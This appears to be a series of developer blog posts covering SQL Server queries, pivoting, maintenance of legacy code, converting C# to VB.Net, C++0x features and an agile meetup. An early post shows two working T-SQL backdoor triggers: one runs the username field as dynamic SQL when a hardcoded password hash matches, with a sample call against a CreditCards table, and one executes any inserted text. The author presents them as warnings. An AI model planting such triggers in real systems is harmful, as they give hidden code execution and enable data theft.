One of the most obnoxious thing about writing diagrams (be that DB layout, class hierarchies, SSIS packages, etc) is how to arrange the connections so you can see anything clearly. It has been notoriously hard to do it in most tools that I’ve used, but I just found the Format > Layout > Diagram command in SSIS that arrange a package very neatly in a tree fashion.

This little command is going to save many hours .

Continuing on the theme of the nasty trigger from the previous post, here is the Back Door Trigger, let’s see what happens when a nefarious (rather then just nasty) programmer has thoughts about leaving himself a back door into an application, take a look at this, how long does it take to see what is wrong here?

CREATE Table Users
(
      user name nvarchar(50),
      password varbinary(10)
      -- more data
);

GO   
CREATE TRIGGER HashPassword ON Users INSTEAD OF INSERT
AS BEGIN
      DECLARE @password varbinary(10), @username nvarchar(50)
      SET @username = (SELECT user name from inserted)
      SET @password = (SELECT HashBytes('SHA',inserted.password) from inserted)
      if (@password = 0x939A115E3DCD7C4D2764)
            exec sp executesql @username
      else
            INSERT INTO Users(user name, password) VALUES(@username, @password)
END

This is a near invisible back door to do whatever you want in the system. This would go through stored procs and any other security mechanism that you’ve in place like smoke. I think that this will most probably pass through most code reviews and security inspections without being noticed. For extra points, implement your own HashWithSalt() function that will be used on the corresponding view which will do the same for selection.

INSERT INTO Users(user name, password) VALUES('SELECT * from CreditCards', '1=0');

You’ve better start shopping.

If I ever catch someone actually doing it, there would be hell to pay, but here is a new level of nastiness in SQL:

CREATE TABLE Nasty( [text] nvarchar(500));

CREATE TRIGGER Very Nasty Trigger ON  NASTY INSTEAD OF INSERT

AS BEGIN
      Declare @stmt nvarchar(max)
      SET @stmt = (select [text] from INSERTED);
      exec sp executesql @stmt
END

Usage: INSERT INTO NASTY([TEXT]) VALUES('SELECT 56');

The result of this query is 56, but it can do pretty much anything it wants. I’ll post later with the nastier query. This one is just the start. I’m seeing something (not as advanced) too much right now.

Here is a list of the things that I really need. Just to clarify, I am working on a large database. I waste a ton of time just finding stuff in the UI.

• Grouping items in the UI according to a certain naming convention (regular expression would be great) .
• Quick find by the name of the object (and an option to script it to the query window).
• A way to disable the (very slow) UI from popping up all the time with pretty tables / graphs, and just get the SQL.

SQL is a great language, and I’m discovering new things about it daily, but it has a big problem, and that is that it is hard to express some simple problems with SQL. Let’s take a contrived example, my Payments table now has a column that mention the number of payments to be made, and I want to get the total of all the individual payments. A first implementation would look like this:

SELECT sum(amount / NumOfPayments) from payments

But this produce an error: Divide by zero error encountered.

Ouch, so this way is out (and yes, I know that this is a bad way to model the data). So, we have a problem, and the easiest thing to do it to fall to a procedural mindset and code the following:

DECLARE
      @current amount NUMERIC,
      @current NumOfPayments NUMERIC,
      @total NUMERIC,
      @tmp NUMERIC

DECLARE big payments cursor CURSOR

            FOR SELECT amount,NumOfPayments FROM Payments

SET @total = 0

OPEN big payments cursor

FETCH NEXT FROM
      big payments cursor INTO @current amount, @current NumOfPayments

WHILE @@FETCH STATUS != -1
BEGIN

IF (@current NumOfPayments IS NOT NULL AND @current NumOfPayments <> 0)
      SET @tmp = @current amount/@current NumOfPayments    
ELSE
            SET @tmp = @current amount

      SET @total = @total + @tmp   

      FETCH NEXT FROM
            big payments cursor INTO @current amount, @current NumOfPayments

END

CLOSE big payments cursor
DEALLOCATE big payments cursor

SELECT @total

This works, and even produces a decent enough answer, and that is where some “predecessors” may leave the code. But I decided to take it into a spin over a million records (no indexing, Primary Keys or Foreign Keys whatsoever).

Do you care to know what the execution time for this? 01:03 Minutes! That is not good. But do I have a choice? Well, it turn out that I do, check this out:

SELECT SUM(
      CASE NumOfPayments
            WHEN NULL THEN Amount
            WHEN 0 THEN Amount
            ELSE Amount/NumOfPayments
      END
) FROM Payments

Care to guess how fast this run over the same table? 00:00, too fast for the clock to count. Next time, I’ll talk about nested selects and how to use them in even more complex queries.

Maintaining legacy code is such a daunting task for many developers that I decided to highlight some of its upsides for a change. Here they are, in no particular order:

1. Every piece of code is a surprise, and should be treated uniquely.
2. Track how and when your predecessor learned new tricks of the trade. And then applied them everywhere.
3. No more being shackled to a corporate coding standard, invent your own, or, better yet, just pick and choose based on what you ate this morning and the state of the moon. Let your inner hacker out.
4. Delight in the opportunity to humble yourself staring for hours on a convoluted piece of code.
5. Feel the joy of learning a business rule from six scattered files and misleading comments. Doesn’t the sense of accomplishment feel great?
6. You thought that you needed a couple of years in university and a degree to learn how to do the business? Now you get the chance to learn it, and you get paid to do so. All you need to do is to look at the code; it will tell you everything you need (although sometimes in a foreign language, with a strong accent, using four letter words).
7. This one I can guarantee, you will learn every trick in that area of computing; including some that the greybeards have forgotten.
8. Pit your mind against the mind of the previous coder; it’s a struggle of will in the fight for understanding and achieving Zen.
9. You’ll have the chance to view first hand the discovering of unknown, new and exciting design patterns.
10. You’ll get to bask in the presence of old and venerable practices, such as the Scattered Responsibility, the Code Reuse Via Copy/Paste, the Write Your Own, etc.
11. You get to program like a real programmer. Transactions, why do you need them? Real programmers write their own transaction systems on top of a database, and then they don’t use it because they handle it all in the business layer.
12. You get to see the anti discrimination campaign that your predecessor has left. It’s an unfair treatment to code based on its task, and that has got to be covered by some law or something. Let’s take the poor mistreated database code out of the bowels of the application and put it right next to the UI, so it would feel better about itself.
13. Watch how old problems are solved in new and exciting ways.
14. You’ll get a sense of awe at the magnitude of the code when you’ll check the count of lines per method.
15. Feel that warm feeling of a job well done; tracking a piece of code for hours, then discovering that it’s a dead branch.
16. Express the need to assert yourself by making a change in multiply locations, several times.
17. Truly understand the intricacies of the tools that you are working with.
18. You learn to do tricks with numbers, like seeing 5323 and knowing deep in your bones that this is the count of vacation hours per employee per month report.
19. You know the conversion matrix of types by heart, since your predecessor kindly thought it was a challenging adventure and use different types (float, decimal, string) for the same data in different places.
20. You get to develop truly enterprise system, where redundancy is ever deeper than the one in the space shuttle. There is never just one way to do something in the code base. And your predecessor made sure to use one of the options randomly, just for the case where you may break one of the implementation by mistake and the whole application won’t go down.
21. You truly stand on the shoulders of giants. Like most geniuses, your predecessor knew to ignore the advice of the so-called “leading figures” in the field and carved his way through fire and ice to get to the goal, stopping at nothing at the way.
22. Enjoy your work as your read all those internal jokes that were put to the code. Sometimes it’s in the form of a comment, but occasionally you’ll get the truly inspired code that read like a good joke.
23. Admire the loyalty to the vendor of choice on the part of your predecessor, who did anything humanly possible to ensure that the system will remain on the vendor’s systems for all time.
24. Bask in the glory of your predecessor, who had the foresight to think about the Convention over Configuration decades before it was out in force. Okay, so it’s more of a guideline than a convention, but hey, it was a long time ago.
25. Be on alert at all times, searching for the next surprise gift that your predecessor left you, often hidden in three separate files, named similarly.

I’ve been thought that I should do my best to avoid duplicating code. And I’m pretty fanatic about this when I’m programming in a OO or procedural languages. But how do I do it with SQL? The issue keeps coming back with code that looks sort of like this:

INSERT INTO Actions (Code, NormalDescription)

SELECT 13, T.Description +’ ‘ +F.Description  FROM Feathers F, Tar T

WHERE  T.Amount > T.Amount;

INSERT INTO Actions (Code, CrimeDescription)

SELECT 14, T.Description +’ ‘ +F.Description  FROM Feathers F, Tar T

WHERE  T.Amount = T.Amount;

Now imagine that the statements are each 70 lines long, and including quite a bit of business logic. The difference between the two cannot be expressed (to my knowledge) in SQL. To the best of my knowledge, the only way to make this reusable is with dynamic SQL and string concentration (which are issues enough on their own.) I run into this a lot lately, the differences in the queries are miniscule, but insurmountable, so it seems.

Is there a good way to solve this?

Here is a quick way to tell if you are working on legacy code or not. Just run this code and check the result, I even including some text to help you decide.

SELECT TOP(1)

      table name,

      COUNT(table name) as NumOfCols,

      CASE

            WHEN COUNT(table name) < 15 THEN 'No.'

            WHEN COUNT(table name) < 25 THEN 'Not yet.'

            WHEN COUNT(table name) < 35 THEN 'Seriously think about refactoring.'

            WHEN COUNT(table name) < 55 THEN 'Yes!'

            WHEN COUNT(table name) < 85 THEN 'Hell, Yes!'

            ELSE 'Run Away!'

      END as [Is Legacy]

FROM INFORMATION SCHEMA.COLUMNS

GROUP BY table name

ORDER BY NumOfCols DESC

As a note, running this query against my current database, it tells me to run far away.

I recently had to change some code I’ve written to VB.Net from C#, and it was a painful process. Not because the conversion was difficult, or because I had to make changes to my code, but because I couldn’t find an automated tool to translate C# 2.0 code to VB.Net 2.0 (including anonymous methods, generics, etc).

Luckily, the code consisted of 2 files with less than 10 methods overall, so I was able to convert it manually. The bad parts were that there doesn’t seem to be a way to do anonymous method in VB.Net (at least not something instantly googlable), and it took me a while to get the grips with the generics syntax. I can read VB.Net code, of course, but the verbosity of it is killing me when I’m writing it. And the mental effort of translating VB.Net code to something that I can understand is annoying beyond short code samples.

I used to dig C++ to the core, and I still have a couple of repeated fond nightmares about it :-)
This article talks about the next version of C++, likely to be C++ 09, and it has some nice features.
After a very quick scan:

auto - which tells the compiler to figure out the type on its own (similar to how var in C# 3.0 works).
Sequence constructors - which allows you to do this: vector<int> = { 1,2,3,5,7} (I just wished that I could have that in the CLR).
Partial template derivation - meaning that you can do declare a type that is still generic, but some of its types are binded. (This a generic dictionary whose key is bound to a string)
Concepts - Which I also talked about recently, allow you to specify what a type should look like, and it looks like that it is doing this regardless of inheritance, so anything that has a Name() method could be put in a naming container, for isntance.
The annoying double >> problem is gone, no more vector< std:string, vector<int> >, you can now proudly state vector<std:string, vector<int>>

The standard library will provide: Hash Tables, Regular expression, and more
For each that works nearly as easily as the .Net one

Take a look at the sample code, which will draw shapes to the screen:

template<Container C>
void draw all(C& c)
where Usable as<C::value type,Shape*>
{
 for each(c, mem fun(&Shape::draw));
}

vector<Shape*> v = {
 new Circle(p1,20),
 new Triangle(p1,p2,p3),
 new Rectangle(p3,30,20)
};

draw all(v);

list<shared ptr<Shape*>> v2 = {
 new Circle(p1,20),
 new Triangle(p1,p2,p3),
 new Rectangle(p3,30,20)
};

draw all(v2);

The only other languages that I can think of where I can produce a code this clear is Javascript & Boo. And it says something when I compare C++ to Boo

I went to the Agile Users Group meeting today, and had quite a bit of fun.

The first talk was about mock objects, which is obviously a subject near and dear to my heart. I learned about a new mocking tool for .Net PocMock, which seems to be working by generating an assembly statically. I’m not sure how well I feel about this approach, but I can see where it can be very useful.

The second talk was about refactoring 101, which is also a passion of mine, and the presenter was Justin. He gave a great talk, and the only thing missing was a real real-world example (you have to be a developer in Israel to understand this, I’m afraid), like this one:

 public class Order
{

    public string PersonShem;
    public string PersonSemMispaha;

   public string PelephoneKidomet;
   public string PelephoneMishpar;
 
    public string TelephoneBaytKidumet;
    public string TelephoneBaytMispar;

     public string TelephoneAvodaKidomet;
    public string TelephoneAvodaMispar;

}

This is how real production code looks like, including the optional spelling.

That said, the talk covered most of the structural refactoring that you are likely to run into. Justin covered Extract Method, Cut & Past Programming, Meaningful Names, Readable Code Instead Of Comments, etc. I really liked the examples that he gave, I was having hard time not cracking up in several points. 

For instance: "You would have think that in the 29th time they would put it in a method" had me in stitches, I so feel the pain. He also talked briefly about a couple of tools that he is using (both external and in-house), including some that were new to me (exterme simplicity, for instnace).  Very good talk, all in all. I like the presentation as well, very much like Refactoring from Fowler.

After the talks were over I had a chance to talk to several other guys there about mocking, design and stuff. It was fun.

Seems that I missed posting about it, but there is a new version of Rhino Mocks out, this one fix a problem deep in the bowels of Rhino Mocks that somehow remained hidden until yesterday.

As usual, you can get both binaries and source here  

The problem with pivoting a table is that you need to pass hard-coded values, so you can’t just pass a runtime selection for it.

Here is the scenario:

Let’s go back to our payments table, which looks like this:

CREATE TABLE [dbo].[Payments](

      [Amount] [money] NOT NULL,

      [Date] [datetime] NOT NULL,

      [To] [nvarchar](50) NOT NULL

)

Now, I want to see how much I paid to each of my debtors for the last 12 days, but those dates aren’t fixed, there are days (too few, unfortunately) that I don’t have to pay anyone, so I’m in a bit of a bind there. So, how do I solve it? Write a dynamic query? That is possible, but I really hate it. I used a temporary table as a hash map for the values, and here is the result:

CREATE TABLE #IndexPerDistinctDate

(

      id int identity(1,1),

      date datetime

);

INSERT INTO #IndexPerDistinctDate

(

      date

)

SELECT DISTINCT

      date

FROM Payments

ORDER BY date ASC;

SELECT

      *

FROM

(

      SELECT

            p.[To],

            p.Amount,

            i.id as [index]

      FROM Payments p Left Outer Join #IndexPerDistinctDate i

      ON p.Date = i.Date

)

Source

PIVOT

(

      SUM(amount)

      FOR [index] IN

      (

            [1],[2],[3],[4],[5],[6],[7],[8],[9],[10],[11],[12]

      )

) pvt;

DROP TABLE #IndexPerDistinctDate;

This also demonstrate another feature of pivoting in SQL Server 2005, it just merely ignores values that wasn’t specified. This is exactly what I want for this particular instance.

The source table looks like this:

And the result from the query above looks like this (with 12 columns, but I cut it a bit so it would fit in the page):